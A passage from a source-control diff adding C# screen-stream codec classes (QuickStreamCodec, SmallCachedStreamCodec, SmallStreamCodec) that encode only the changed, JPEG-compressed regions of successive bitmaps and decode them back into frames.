/// <param name="ImageQuality">The image quality 0-100%</param>
|
||||
public QuickStreamCodec(int ImageQuality = 100)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 1; }
|
||||
}
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.RequireSameSize | CodecOption.AutoDispose; }
|
||||
}
|
||||
|
||||
public override void CodeImage(Bitmap bitmap, Stream outStream)
|
||||
{
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
if (CodeTempBitmap != null)
|
||||
{
|
||||
if (CodeTempBitmap.Width != bitmap.Width || CodeTempBitmap.Height != bitmap.Height)
|
||||
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||
if (bitmap.PixelFormat != CodeTempBitmap.PixelFormat)
|
||||
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||
}
|
||||
|
||||
if (CodeTempBitmap == null)
|
||||
{
|
||||
byte[] temp = base.jpgCompression.Compress(bitmap);
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
CodeTempBitmap = bitmap;
|
||||
return;
|
||||
}
|
||||
|
||||
BitmapData bmpData = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
|
||||
BitmapData CodeBmpData = CodeTempBitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
|
||||
int Stride = Math.Abs(bmpData.Stride);
|
||||
|
||||
List<Rectangle> Blocks = new List<Rectangle>();
|
||||
|
||||
for (int y = 0, i = 0; y < bitmap.Height; y++, i += Stride)
|
||||
{
|
||||
if(onCodeDebugScan != null)
|
||||
onCodeDebugScan(new Rectangle(0, y, bitmap.Width, 1));
|
||||
|
||||
Rectangle ScanBlock = new Rectangle(0, y, bitmap.Width, 1);
|
||||
if (NativeMethods.memcmp(new IntPtr(bmpData.Scan0.ToInt32() + i), new IntPtr(CodeBmpData.Scan0.ToInt32() + i), (uint)Stride) != 0)
|
||||
{
|
||||
int index = Blocks.Count - 1;
|
||||
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == ScanBlock.Y)
|
||||
{
|
||||
ScanBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + ScanBlock.Height);
|
||||
Blocks[index] = ScanBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
Blocks.Add(ScanBlock);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
|
||||
for (int i = 0; i < Blocks.Count; i++)
|
||||
{
|
||||
Bitmap cloned = (Bitmap)bitmap.Clone(Blocks[i], bitmap.PixelFormat);
|
||||
byte[] temp = base.jpgCompression.Compress(cloned);
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes((ushort)Blocks[i].Y), 0, 2);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
cloned.Dispose();
|
||||
TotalDataLength += 6 + temp.Length;
|
||||
}
|
||||
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
|
||||
bitmap.UnlockBits(bmpData);
|
||||
CodeTempBitmap.UnlockBits(CodeBmpData);
|
||||
|
||||
if (onVideoStreamCoding != null)
|
||||
onVideoStreamCoding(outStream, Blocks.ToArray());
|
||||
|
||||
if (CodeTempBitmap != null)
|
||||
CodeTempBitmap.Dispose();
|
||||
this.CodeTempBitmap = bitmap;
|
||||
}
|
||||
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
if (!inStream.CanRead)
|
||||
throw new Exception("Must have access to Read in the Stream");
|
||||
|
||||
if (DecodeTempBitmap == null)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 4);
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
DecodeTempBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return DecodeTempBitmap;
|
||||
}
|
||||
|
||||
|
||||
byte[] LenTemp = new byte[4];
|
||||
inStream.Read(LenTemp, 0, 4);
|
||||
int DataLength = BitConverter.ToInt32(LenTemp, 0);
|
||||
|
||||
//BitmapData BmpData = DecodeTempBitmap.LockBits(new Rectangle(0, 0, DecodeTempBitmap.Width, DecodeTempBitmap.Height), ImageLockMode.WriteOnly, DecodeTempBitmap.PixelFormat);
|
||||
//int Stride = Math.Abs(BmpData.Stride);
|
||||
|
||||
while (DataLength > 0)
|
||||
{
|
||||
byte[] temp = new byte[6];
|
||||
if (inStream.Read(temp, 0, temp.Length) != temp.Length)
|
||||
break;
|
||||
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
ushort Y = BitConverter.ToUInt16(temp, 4);
|
||||
temp = new byte[DataSize];
|
||||
if (inStream.Read(temp, 0, temp.Length) != temp.Length)
|
||||
break;
|
||||
|
||||
//copy new data to cached bitmap
|
||||
Bitmap tmpBmp = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
|
||||
using (Graphics g = Graphics.FromImage(DecodeTempBitmap))
|
||||
{
|
||||
g.DrawImage(tmpBmp, new Point(0, Y));
|
||||
}
|
||||
|
||||
/*BitmapData tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), ImageLockMode.WriteOnly, tmpBmp.PixelFormat);
|
||||
int Offset = Y * Stride;
|
||||
NativeMethods.memcpy(new IntPtr(BmpData.Scan0.ToInt32() + Offset), tmpData.Scan0, (uint)(tmpBmp.Height * Stride));*/
|
||||
//tmpBmp.UnlockBits(tmpData);
|
||||
tmpBmp.Dispose();
|
||||
DataLength -= 6 + temp.Length;
|
||||
}
|
||||
//DecodeTempBitmap.UnlockBits(BmpData);
|
||||
|
||||
return DecodeTempBitmap;
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,374 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.Codecs
|
||||
{
|
||||
public class SmallCachedStreamCodec : IVideoCodec
|
||||
{
|
||||
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
|
||||
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
SortedList<int, byte[]> codeCached;
|
||||
SortedList<int, byte[]> decodeCached;
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return codeCached.Count; }
|
||||
}
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.AutoDispose | CodecOption.HasBuffers | CodecOption.RequireSameSize; }
|
||||
}
|
||||
|
||||
private Size CheckBlock { get; set; }
|
||||
public SimpleBitmap LastFrame { get; set; }
|
||||
private object ImageProcessLock = new object();
|
||||
private Bitmap decodedBitmap;
|
||||
private CRC32 hasher;
|
||||
public int MaxBuffers { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// Initialize a new object of SmallCachedStreamCodec
|
||||
/// </summary>
|
||||
/// <param name="MaxBuffers">The maximum amount of buffers, higher value will decrease stream size but could decrease performance</param>
|
||||
/// <param name="ImageQuality">The image quality 0-100%</param>
|
||||
public SmallCachedStreamCodec(int MaxBuffers = 5000, int ImageQuality = 100)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
CheckBlock = new Size(20, 1);
|
||||
codeCached = new SortedList<int, byte[]>();
|
||||
decodeCached = new SortedList<int, byte[]>();
|
||||
hasher = new CRC32();
|
||||
this.MaxBuffers = MaxBuffers;
|
||||
}
|
||||
|
||||
private void SetLastFrame(ref Bitmap bmp)
|
||||
{
|
||||
SetLastFrame(new SimpleBitmap(bmp));
|
||||
}
|
||||
private void SetLastFrame(SimpleBitmap bmp)
|
||||
{
|
||||
lock (ImageProcessLock)
|
||||
{
|
||||
if (LastFrame != null && LastFrame.Locked)
|
||||
LastFrame.Dispose(true);
|
||||
LastFrame = bmp;
|
||||
}
|
||||
}
|
||||
|
||||
public override unsafe void CodeImage(Bitmap bitmap, Stream outStream)
|
||||
{
|
||||
lock (ImageProcessLock)
|
||||
{
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
if (LastFrame == null)
|
||||
{
|
||||
byte[] temp = base.jpgCompression.Compress(bitmap);
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
SetLastFrame(ref bitmap);
|
||||
return;
|
||||
}
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
|
||||
List<byte[]> updates = new List<byte[]>();
|
||||
SimpleBitmap sbBmp = new SimpleBitmap(bitmap);
|
||||
MemoryStream ms = new MemoryStream();
|
||||
byte[] buffer = null;
|
||||
|
||||
if (!LastFrame.Locked)
|
||||
LastFrame.Lock();
|
||||
|
||||
sbBmp.Lock();
|
||||
|
||||
if (sbBmp.Info.PixelSize != LastFrame.Info.PixelSize)
|
||||
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||
|
||||
if (LastFrame.Info.Width != sbBmp.Info.Width || LastFrame.Info.Height != sbBmp.Info.Height)
|
||||
{
|
||||
sbBmp.Unlock();
|
||||
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||
}
|
||||
|
||||
List<Rectangle> Blocks = new List<Rectangle>();
|
||||
int index = 0;
|
||||
|
||||
int y = 0;
|
||||
int x = 0;
|
||||
|
||||
Size s = new Size(bitmap.Width, CheckBlock.Height);
|
||||
Size lastSize = new Size(bitmap.Width % CheckBlock.Width, bitmap.Height % CheckBlock.Height);
|
||||
|
||||
int lasty = bitmap.Height - lastSize.Height;
|
||||
int lastx = bitmap.Width - lastSize.Width;
|
||||
|
||||
Rectangle cBlock = new Rectangle();
|
||||
|
||||
s = new Size(bitmap.Width, s.Height);
|
||||
while (y != bitmap.Height)
|
||||
{
|
||||
if (y == lasty)
|
||||
s = new Size(bitmap.Width, lastSize.Height);
|
||||
|
||||
cBlock = new Rectangle(0, y, bitmap.Width, s.Height);
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
if (!SimpleBitmap.Compare(cBlock, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
|
||||
//if (!SimpleBitmap.Compare(y, s.Height, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
|
||||
{
|
||||
index = Blocks.Count - 1;
|
||||
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
|
||||
{
|
||||
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
|
||||
Blocks[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
Blocks.Add(cBlock);
|
||||
}
|
||||
}
|
||||
y += s.Height;
|
||||
}
|
||||
|
||||
List<CacheInfo> finalUpdates = new List<CacheInfo>();
|
||||
const int CheckHeight = 50;
|
||||
for (int i = 0; i < Blocks.Count; i++)
|
||||
{
|
||||
s = new Size(CheckBlock.Width, Blocks[i].Height);
|
||||
y = Blocks[i].Y;
|
||||
lasty = (Blocks[i].Y + Blocks[i].Height);
|
||||
|
||||
while (y != lasty)
|
||||
{
|
||||
int ScanHeight = y + CheckHeight > lasty ? lasty - y : CheckHeight;
|
||||
x = 0;
|
||||
while (x != bitmap.Width)
|
||||
{
|
||||
if (x == lastx)
|
||||
s = new Size(lastSize.Width, Blocks[i].Height);
|
||||
cBlock = new Rectangle(x, y, s.Width, ScanHeight);
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
if (!SimpleBitmap.Compare(cBlock, sbBmp.Scan0_int, LastFrame.Scan0_int, sbBmp.Info))
|
||||
{
|
||||
/*byte[] tempData = new byte[0];
|
||||
LastFrame.CopyBlock(cBlock, ref tempData);
|
||||
finalUpdates.Add(new CacheInfo(0, false, tempData, cBlock));*/
|
||||
|
||||
//hash it and see if exists in cache
|
||||
hasher = new CRC32(); //re-initialize for seed
|
||||
byte[] tempData = new byte[0];
|
||||
LastFrame.CopyBlock(cBlock, ref tempData);
|
||||
int hash = BitConverter.ToInt32(hasher.ComputeHash(tempData), 0);
|
||||
|
||||
if (codeCached.Count >= MaxBuffers)
|
||||
codeCached.RemoveAt(0);
|
||||
|
||||
if (codeCached.ContainsKey(hash))
|
||||
{
|
||||
CachedSize += (ulong)tempData.Length;
|
||||
finalUpdates.Add(new CacheInfo(hash, true, new byte[0], cBlock));
|
||||
}
|
||||
else
|
||||
{
|
||||
//nothing found in cache let's use the normal way
|
||||
codeCached.Add(hash, tempData);
|
||||
finalUpdates.Add(new CacheInfo(hash, false, tempData, cBlock));
|
||||
}
|
||||
}
|
||||
x += s.Width;
|
||||
}
|
||||
y += ScanHeight;
|
||||
}
|
||||
}
|
||||
|
||||
for (int i = 0; i < finalUpdates.Count; i++)
|
||||
{
|
||||
buffer = new byte[0];
|
||||
Rectangle rect = finalUpdates[i].Rect;
|
||||
|
||||
if (!finalUpdates[i].isCached)
|
||||
{
|
||||
fixed (byte* ptr = finalUpdates[i].Data)
|
||||
{
|
||||
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * LastFrame.Info.PixelSize, LastFrame.bitmapData.PixelFormat, new IntPtr(ptr)))
|
||||
{
|
||||
buffer = base.jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outStream.WriteByte(finalUpdates[i].isCached ? (byte)1 : (byte)0);
|
||||
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Height), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Hash), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4);
|
||||
outStream.Write(buffer, 0, buffer.Length);
|
||||
TotalDataLength += buffer.Length + (4 * 6) + 1;
|
||||
}
|
||||
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
|
||||
Blocks.Clear();
|
||||
SetLastFrame(sbBmp);
|
||||
ms.Close();
|
||||
ms.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
List<Rectangle> updates = new List<Rectangle>();
|
||||
Rectangle rect;
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
Bitmap tmp;
|
||||
byte[] buffer = null;
|
||||
MemoryStream m;
|
||||
List<CacheInfo> cacheInfo = new List<CacheInfo>();
|
||||
byte[] HeaderData = new byte[(4 * 6) + 1];
|
||||
|
||||
while (DataSize > 0)
|
||||
{
|
||||
inStream.Read(HeaderData, 0, HeaderData.Length);
|
||||
|
||||
bool isCached = HeaderData[0] == 1;
|
||||
rect = new Rectangle(BitConverter.ToInt32(HeaderData, 1), BitConverter.ToInt32(HeaderData, 5),
|
||||
BitConverter.ToInt32(HeaderData, 9), BitConverter.ToInt32(HeaderData, 13));
|
||||
int Hash = BitConverter.ToInt32(HeaderData, 17);
|
||||
int UpdateLen = BitConverter.ToInt32(HeaderData, 21);
|
||||
|
||||
buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
//process update data
|
||||
if (isCached)
|
||||
{
|
||||
//data is cached
|
||||
if (decodeCached.ContainsKey(Hash))
|
||||
buffer = decodeCached[Hash];
|
||||
else
|
||||
{
|
||||
|
||||
}
|
||||
cacheInfo.Add(new CacheInfo(Hash, true, new byte[0], rect));
|
||||
}
|
||||
|
||||
if (onDecodeDebugScan != null)
|
||||
onDecodeDebugScan(rect);
|
||||
|
||||
if (buffer.Length > 0)
|
||||
{
|
||||
m = new MemoryStream(buffer);
|
||||
tmp = (Bitmap)Image.FromStream(m);
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
|
||||
tmp.Dispose();
|
||||
m.Close();
|
||||
m.Dispose();
|
||||
}
|
||||
|
||||
if (decodeCached.Count >= MaxBuffers)
|
||||
decodeCached.RemoveAt(0);
|
||||
|
||||
if(!decodeCached.ContainsKey(Hash))
|
||||
this.decodeCached.Add(Hash, buffer);
|
||||
DataSize -= UpdateLen + HeaderData.Length;
|
||||
}
|
||||
|
||||
int CachedSize = 0;
|
||||
foreach(CacheInfo inf in cacheInfo)
|
||||
{
|
||||
CachedSize += (inf.Rect.Width * 4) * inf.Rect.Height;
|
||||
|
||||
|
||||
}
|
||||
Console.WriteLine(cacheInfo.Count + ", " + CachedSize);
|
||||
g.Dispose();
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
private class CacheInfo
|
||||
{
|
||||
public bool isCached = false;
|
||||
public byte[] Data;
|
||||
public int Hash;
|
||||
public Rectangle Rect;
|
||||
|
||||
public CacheInfo(int Hash, bool isCached, byte[] Data, Rectangle Rect)
|
||||
{
|
||||
this.Hash = Hash;
|
||||
this.isCached = isCached;
|
||||
this.Data = Data;
|
||||
this.Rect = Rect;
|
||||
}
|
||||
|
||||
/*public unsafe void CreateHashList(SimpleBitmap sBmp, Size CheckBlock, SmallCachedStreamCodec codec)
|
||||
{
|
||||
if (ScanRects.Count > 0)
|
||||
{
|
||||
int scanX = ScanRects[0].X;
|
||||
for (int i = 0; i < ScanRects.Count; i++)
|
||||
{
|
||||
int scanWidth = ScanRects[i].Width > CheckBlock.Width ? CheckBlock.Width : ScanRects[i].Width;
|
||||
Rectangle rect = ScanRects[i];
|
||||
rect.Width = scanWidth;
|
||||
rect.X = scanX;
|
||||
byte[] buffer = new byte[0];
|
||||
sBmp.CopyBlock(rect, ref buffer);
|
||||
|
||||
int hash = BitConverter.ToInt32(new CRC32().ComputeHash(buffer), 0);
|
||||
|
||||
if (!HashList.ContainsKey(hash))
|
||||
HashList.Add(hash, rect);
|
||||
|
||||
//fixed (byte* ptr = buffer)
|
||||
//{
|
||||
// using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * sBmp.Info.PixelSize, sBmp.bitmapData.PixelFormat, new IntPtr(ptr)))
|
||||
// {
|
||||
// buffer = codec.lzwCompression.Compress(TmpBmp);
|
||||
//
|
||||
// }
|
||||
//}
|
||||
|
||||
scanX += scanWidth;
|
||||
}
|
||||
}
|
||||
}*/
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,266 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.Codecs
|
||||
{
|
||||
public class SmallStreamCodec : IVideoCodec
|
||||
{
|
||||
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
|
||||
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 1; }
|
||||
}
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
|
||||
}
|
||||
|
||||
public Size CheckBlock { get; set; }
|
||||
public SimpleBitmap LastFrame { get; set; }
|
||||
private object ImageProcessLock = new object();
|
||||
private Bitmap decodedBitmap;
|
||||
|
||||
/// <summary>
|
||||
/// Initialize a new object of SmallStreamCodec
|
||||
/// </summary>
|
||||
/// <param name="ImageQuality">The image quality 0-100%</param>
|
||||
public SmallStreamCodec(int ImageQuality = 100)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
CheckBlock = new Size(20, 1);
|
||||
}
|
||||
|
||||
private void SetLastFrame(ref Bitmap bmp)
|
||||
{
|
||||
SetLastFrame(new SimpleBitmap(bmp));
|
||||
}
|
||||
private void SetLastFrame(SimpleBitmap bmp)
|
||||
{
|
||||
lock (ImageProcessLock)
|
||||
{
|
||||
if (LastFrame != null && LastFrame.Locked)
|
||||
LastFrame.Dispose(true);
|
||||
LastFrame = bmp;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Encode the image
|
||||
/// </summary>
|
||||
/// <param name="bitmap">The image you want to encode.</param>
|
||||
/// <param name="outStream">The output stream</param>
|
||||
public override unsafe void CodeImage(Bitmap bitmap, Stream outStream)
|
||||
{
|
||||
lock (ImageProcessLock)
|
||||
{
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
if (LastFrame == null)
|
||||
{
|
||||
byte[] temp = base.jpgCompression.Compress(bitmap);
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
SetLastFrame(ref bitmap);
|
||||
return;
|
||||
}
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
|
||||
List<byte[]> updates = new List<byte[]>();
|
||||
SimpleBitmap sbBmp = new SimpleBitmap(bitmap);
|
||||
MemoryStream ms = new MemoryStream();
|
||||
byte[] buffer = null;
|
||||
|
||||
if (!LastFrame.Locked)
|
||||
LastFrame.Lock();
|
||||
|
||||
sbBmp.Lock();
|
||||
|
||||
if (sbBmp.Info.PixelSize != LastFrame.Info.PixelSize)
|
||||
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||
|
||||
if (LastFrame.Info.Width != sbBmp.Info.Width || LastFrame.Info.Height != sbBmp.Info.Height)
|
||||
{
|
||||
sbBmp.Unlock();
|
||||
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||
}
|
||||
|
||||
List<Rectangle> Blocks = new List<Rectangle>();
|
||||
int index = 0;
|
||||
|
||||
int y = 0;
|
||||
int x = 0;
|
||||
|
||||
Size s = new Size(bitmap.Width, CheckBlock.Height);
|
||||
Size lastSize = new Size(bitmap.Width % CheckBlock.Width, bitmap.Height % CheckBlock.Height);
|
||||
|
||||
int lasty = bitmap.Height - lastSize.Height;
|
||||
int lastx = bitmap.Width - lastSize.Width;
|
||||
|
||||
Rectangle cBlock = new Rectangle();
|
||||
|
||||
s = new Size(bitmap.Width, s.Height);
|
||||
while (y != bitmap.Height)
|
||||
{
|
||||
if (y == lasty)
|
||||
s = new Size(bitmap.Width, lastSize.Height);
|
||||
|
||||
cBlock = new Rectangle(0, y, bitmap.Width, s.Height);
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
if (!SimpleBitmap.Compare(cBlock, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
|
||||
//if (!SimpleBitmap.Compare(y, s.Height, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
|
||||
{
|
||||
index = Blocks.Count - 1;
|
||||
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
|
||||
{
|
||||
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
|
||||
Blocks[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
Blocks.Add(cBlock);
|
||||
}
|
||||
}
|
||||
y += s.Height;
|
||||
}
|
||||
|
||||
List<Rectangle> finalUpdates = new List<Rectangle>();
|
||||
for (int i = 0; i < Blocks.Count; i++)
|
||||
{
|
||||
s = new Size(CheckBlock.Width, Blocks[i].Height);
|
||||
x = 0;
|
||||
while (x != bitmap.Width)
|
||||
{
|
||||
if (x == lastx)
|
||||
s = new Size(lastSize.Width, Blocks[i].Height);
|
||||
|
||||
cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height);
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
if (!SimpleBitmap.Compare(cBlock, sbBmp.Scan0_int, LastFrame.Scan0_int, sbBmp.Info))
|
||||
{
|
||||
index = finalUpdates.Count - 1;
|
||||
if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
|
||||
{
|
||||
Rectangle rect = finalUpdates[index];
|
||||
int newWidth = cBlock.Width + rect.Width;
|
||||
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||
finalUpdates[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
finalUpdates.Add(cBlock);
|
||||
}
|
||||
}
|
||||
x += s.Width;
|
||||
}
|
||||
}
|
||||
|
||||
for (int i = 0; i < finalUpdates.Count; i++)
|
||||
{
|
||||
Rectangle rect = finalUpdates[i];
|
||||
sbBmp.CopyBlock(rect, ref buffer);
|
||||
|
||||
fixed (byte* ptr = buffer)
|
||||
{
|
||||
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * LastFrame.Info.PixelSize, LastFrame.bitmapData.PixelFormat, new IntPtr(ptr)))
|
||||
{
|
||||
buffer = base.jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
}
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4);
|
||||
outStream.Write(buffer, 0, buffer.Length);
|
||||
TotalDataLength += buffer.Length + (4 * 5);
|
||||
}
|
||||
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
|
||||
Blocks.Clear();
|
||||
SetLastFrame(sbBmp);
|
||||
ms.Close();
|
||||
ms.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Decode the video stream
|
||||
/// </summary>
|
||||
/// <param name="inStream">The input stream</param>
|
||||
/// <returns>The image that has been decoded</returns>
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
List<Rectangle> updates = new List<Rectangle>();
|
||||
Rectangle rect;
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
Bitmap tmp;
|
||||
byte[] buffer = null;
|
||||
MemoryStream m;
|
||||
|
||||
while (DataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||
buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
if (onDecodeDebugScan != null)
|
||||
onDecodeDebugScan(rect);
|
||||
|
||||
m = new MemoryStream(buffer);
|
||||
tmp = (Bitmap)Image.FromStream(m);
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
tmp.Dispose();
|
||||
|
||||
m.Close();
|
||||
m.Dispose();
|
||||
DataSize -= buffer.Length + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
return decodedBitmap;
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,26 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.Encoders.GridCoder
|
||||
{
|
||||
